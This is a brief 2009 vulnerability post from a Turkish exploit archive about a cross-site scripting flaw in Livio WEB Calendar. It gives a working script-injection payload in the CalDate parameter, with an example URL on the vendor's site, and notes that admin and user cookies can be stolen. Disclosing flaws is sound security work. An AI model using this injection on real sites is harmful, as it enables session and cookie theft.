Livio WEB Calendar ~ XSS Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > Livio WEB Calendar ~ XSS Vuln.

Madde
	Author : Bug Researchers/CrueLChiLd
	Date : 18.04.2009 17:11:14
	# Livio WEB Calendar ~ XSS Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name : Livio WEB Calendar # Vulnerable Type : Cross Site Scripting # Infection : Yönetici ve User cookie’leri çalinabilir. # Bug Fix Advice : Zararli karakterler filtrelenmelidir. # author : Bug Researchers/CrueLChiLd # Example : http://www.livio.net/code/calendar_36/CalendarTestYearly36.asp?dummy=dummy&CalDate=><script>alert(document.cookie)</script> ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > /CalendarTestYearly36.asp?dummy=dummy&CalDate=><script>alert(document.cookie)</script> < -- bug code end of -- >